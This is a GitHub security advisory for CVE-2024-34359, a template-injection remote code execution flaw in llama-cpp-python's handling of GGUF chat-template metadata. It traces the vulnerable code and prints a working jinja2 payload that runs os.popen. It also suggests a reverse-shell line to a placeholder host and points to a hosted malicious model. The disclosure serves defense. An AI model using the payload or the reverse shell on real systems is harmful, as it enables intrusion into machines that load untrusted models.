Skip to content

llama-cpp-python vulnerable to Remote Code Execution by Server-Side Template Injection in Model Metadata

Critical severity GitHub Reviewed Published May 10, 2024 in abetlen/llama-cpp-python • Updated May 28, 2024

Package

pip llama-cpp-python (pip)

Affected versions

>= 0.2.30, <= 0.2.71

Patched versions

0.2.72

Description

Description

llama-cpp-python depends on class Llama in llama.py to load .gguf llama.cpp or Latency Machine Learning Models. The __init__ constructor built in the Llama takes several parameters to configure the loading and running of the model. Other than NUMA, LoRa settings, loading tokenizers, and hardware settings, __init__ also loads the chat template from targeted .gguf 's Metadata and furtherly parses it to llama_chat_format.Jinja2ChatFormatter.to_chat_handler() to construct the self.chat_handler for this model. Nevertheless, Jinja2ChatFormatter parse the chat template within the Metadate with sandbox-less jinja2.Environment, which is furthermore rendered in __call__ to construct the prompt of interaction. This allows jinja2 Server Side Template Injection which leads to RCE by a carefully constructed payload.

Source-to-Sink

llama.py -> class Llama -> __init__:

class Llama:
    """High-level Python wrapper for a llama.cpp model."""

    __backend_initialized = False

    def __init__(
        self,
        model_path: str,
		# lots of params; Ignoring
    ):
 
        self.verbose = verbose

        set_verbose(verbose)

        if not Llama.__backend_initialized:
            with suppress_stdout_stderr(disable=verbose):
                llama_cpp.llama_backend_init()
            Llama.__backend_initialized = True

		# Ignoring lines of unrelated codes.....

        try:
            self.metadata = self._model.metadata()
        except Exception as e:
            self.metadata = {}
            if self.verbose:
                print(f"Failed to load metadata: {e}", file=sys.stderr)

        if self.verbose:
            print(f"Model metadata: {self.metadata}", file=sys.stderr)

        if (
            self.chat_format is None
            and self.chat_handler is None
            and "tokenizer.chat_template" in self.metadata
        ):
            chat_format = llama_chat_format.guess_chat_format_from_gguf_metadata(
                self.metadata
            )

            if chat_format is not None:
                self.chat_format = chat_format
                if self.verbose:
                    print(f"Guessed chat format: {chat_format}", file=sys.stderr)
            else:
                template = self.metadata["tokenizer.chat_template"]
                try:
                    eos_token_id = int(self.metadata["tokenizer.ggml.eos_token_id"])
                except:
                    eos_token_id = self.token_eos()
                try:
                    bos_token_id = int(self.metadata["tokenizer.ggml.bos_token_id"])
                except:
                    bos_token_id = self.token_bos()

                eos_token = self._model.token_get_text(eos_token_id)
                bos_token = self._model.token_get_text(bos_token_id)

                if self.verbose:
                    print(f"Using gguf chat template: {template}", file=sys.stderr)
                    print(f"Using chat eos_token: {eos_token}", file=sys.stderr)
                    print(f"Using chat bos_token: {bos_token}", file=sys.stderr)

                self.chat_handler = llama_chat_format.Jinja2ChatFormatter(
                    template=template,
                    eos_token=eos_token,
                    bos_token=bos_token,
                    stop_token_ids=[eos_token_id],
                ).to_chat_handler()

        if self.chat_format is None and self.chat_handler is None:
            self.chat_format = "llama-2"
            if self.verbose:
                print(f"Using fallback chat format: {chat_format}", file=sys.stderr)
                

In llama.py, llama-cpp-python defined the fundamental class for model initialization parsing (Including NUMA, LoRa settings, loading tokenizers, and stuff ). In our case, we will be focusing on the parts where it processes metadata; it first checks if chat_format and chat_handler are None and checks if the key tokenizer.chat_template exists in the metadata dictionary self.metadata. If it exists, it will try to guess the chat format from the metadata. If the guess fails, it will get the value of chat_template directly from self.metadata.self.metadata is set during class initialization and it tries to get the metadata by calling the model's metadata() method, after that, the chat_template is parsed into llama_chat_format.Jinja2ChatFormatter as params which furthermore stored the to_chat_handler() as chat_handler

llama_chat_format.py -> Jinja2ChatFormatter:

self._environment = jinja2.Environment( -> from_string(self.template) -> self._environment.render(

class ChatFormatter(Protocol):
    """Base Protocol for a chat formatter. A chat formatter is a function that
    takes a list of messages and returns a chat format response which can be used
    to generate a completion. The response can also include a stop token or list
    of stop tokens to use for the completion."""

    def __call__(
        self,
        *,
        messages: List[llama_types.ChatCompletionRequestMessage],
        **kwargs: Any,
    ) -> ChatFormatterResponse: ...


class Jinja2ChatFormatter(ChatFormatter):
    def __init__(
        self,
        template: str,
        eos_token: str,
        bos_token: str,
        add_generation_prompt: bool = True,
        stop_token_ids: Optional[List[int]] = None,
    ):
        """A chat formatter that uses jinja2 templates to format the prompt."""
        self.template = template
        self.eos_token = eos_token
        self.bos_token = bos_token
        self.add_generation_prompt = add_generation_prompt
        self.stop_token_ids = set(stop_token_ids) if stop_token_ids is not None else None

        self._environment = jinja2.Environment(
            loader=jinja2.BaseLoader(),
            trim_blocks=True,
            lstrip_blocks=True,
        ).from_string(self.template)

    def __call__(
        self,
        *,
        messages: List[llama_types.ChatCompletionRequestMessage],
        functions: Optional[List[llama_types.ChatCompletionFunction]] = None,
        function_call: Optional[llama_types.ChatCompletionRequestFunctionCall] = None,
        tools: Optional[List[llama_types.ChatCompletionTool]] = None,
        tool_choice: Optional[llama_types.ChatCompletionToolChoiceOption] = None,
        **kwargs: Any,
    ) -> ChatFormatterResponse:
        def raise_exception(message: str):
            raise ValueError(message)

        prompt = self._environment.render(
            messages=messages,
            eos_token=self.eos_token,
            bos_token=self.bos_token,
            raise_exception=raise_exception,
            add_generation_prompt=self.add_generation_prompt,
            functions=functions,
            function_call=function_call,
            tools=tools,
            tool_choice=tool_choice,
        )

As we can see in llama_chat_format.py -> Jinja2ChatFormatter, the constructor __init__ initialized required members inside of the class; Nevertheless, focusing on this line:

        self._environment = jinja2.Environment(
            loader=jinja2.BaseLoader(),
            trim_blocks=True,
            lstrip_blocks=True,
        ).from_string(self.template)

Fun thing here: llama_cpp_python directly loads the self.template (self.template = template which is the chat template located in the Metadate that is parsed as a param) via jinja2.Environment.from_string( without setting any sandbox flag or using the protected immutablesandboxedenvironment class. This is extremely unsafe since the attacker can implicitly tell llama_cpp_python to load malicious chat template which is furthermore rendered in the __call__ constructor, allowing RCEs or Denial-of-Service since jinja2's renderer evaluates embed codes like eval(), and we can utilize expose method by exploring the attribution such as __globals__, __subclasses__ of pretty much anything.

    def __call__(
        self,
        *,
        messages: List[llama_types.ChatCompletionRequestMessage],
        functions: Optional[List[llama_types.ChatCompletionFunction]] = None,
        function_call: Optional[llama_types.ChatCompletionRequestFunctionCall] = None,
        tools: Optional[List[llama_types.ChatCompletionTool]] = None,
        tool_choice: Optional[llama_types.ChatCompletionToolChoiceOption] = None,
        **kwargs: Any,
    ) -> ChatFormatterResponse:
        def raise_exception(message: str):
            raise ValueError(message)

        prompt = self._environment.render( # rendered!
            messages=messages,
            eos_token=self.eos_token,
            bos_token=self.bos_token,
            raise_exception=raise_exception,
            add_generation_prompt=self.add_generation_prompt,
            functions=functions,
            function_call=function_call,
            tools=tools,
            tool_choice=tool_choice,
        )

Exploiting

For our exploitation, we first downloaded qwen1_5-0_5b-chat-q2_k.gguf of Qwen/Qwen1.5-0.5B-Chat-GGUF on huggingface as the base of the exploitation, by importing the file to Hex-compatible editors (In my case I used the built-in Hex editor or vscode), you can try to search for key chat_template (imported as template = self.metadata["tokenizer.chat_template"] in llama-cpp-python):

image-20240502180804562

qwen1_5-0_5b-chat-q2_k.gguf appears to be using the OG role+message and using the fun jinja2 syntax. By first replacing the original chat_template in \x00, then inserting our SSTI payload. We constructed this payload which firstly iterates over the subclasses of the base class of all classes in Python. The expression ().__class__.__base__.__subclasses__() retrieves a list of all subclasses of the basic object class and then we check if its warning by if "warning" in x.__name__, if it is , we access its module via the _module attribute then access Python's built-in functions through __builtins__ and uses the __import__ function to import the os module and finally we called os.popen to touch /tmp/retr0reg, create an empty file call retr0reg under /tmp/

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("touch /tmp/retr0reg")}}{%endif%}{% endfor %}

in real life exploiting instance, we can change touch /tmp/retr0reg into arbitrary codes like sh -i >& /dev/tcp/<HOST>/<PORT> 0>&1 to create a reverse shell connection to specified host, in our case we are using touch /tmp/retr0reg to showcase the exploitability of this vulnerability.

image-20240502200909127

After these steps, we got ourselves a malicious model with an embedded payload in chat_template of the metahead, in which will be parsed and rendered by llama.py:class Llama:init -> self.chat_handler -> llama_chat_format.py:Jinja2ChatFormatter:init -> self._environment = jinja2.Environment( -> ``llama_chat_format.py:Jinja2ChatFormatter:call -> self._environment.render(`

(The uploaded malicious model file is in https://huggingface.co/Retr0REG/Whats-up-gguf )

from llama_cpp import Llama

# Loading locally:
model = Llama(model_path="qwen1_5-0_5b-chat-q2_k.gguf")
# Or loading from huggingface:
model = Llama.from_pretrained(
    repo_id="Retr0REG/Whats-up-gguf",
    filename="qwen1_5-0_5b-chat-q2_k.gguf",
    verbose=False
)

print(model.create_chat_completion(messages=[{"role": "user","content": "what is the meaning of life?"}]))

Now when the model is loaded whether as Llama.from_pretrained or Llama and chatted, our malicious code in the chat_template of the metahead will be triggered and execute arbitrary code.

PoC video here: https://drive.google.com/file/d/1uLiU-uidESCs_4EqXDiyKR1eNOF1IUtb/view?usp=sharing

References

@abetlen abetlen published to abetlen/llama-cpp-python May 10, 2024
Published to the GitHub Advisory Database May 13, 2024
Reviewed May 13, 2024
Published by the National Vulnerability Database May 14, 2024
Last updated May 28, 2024

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

EPSS score

0.043%
(10th percentile)

Weaknesses

CVE ID

CVE-2024-34359

GHSA ID

GHSA-56xg-wfcc-g829

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.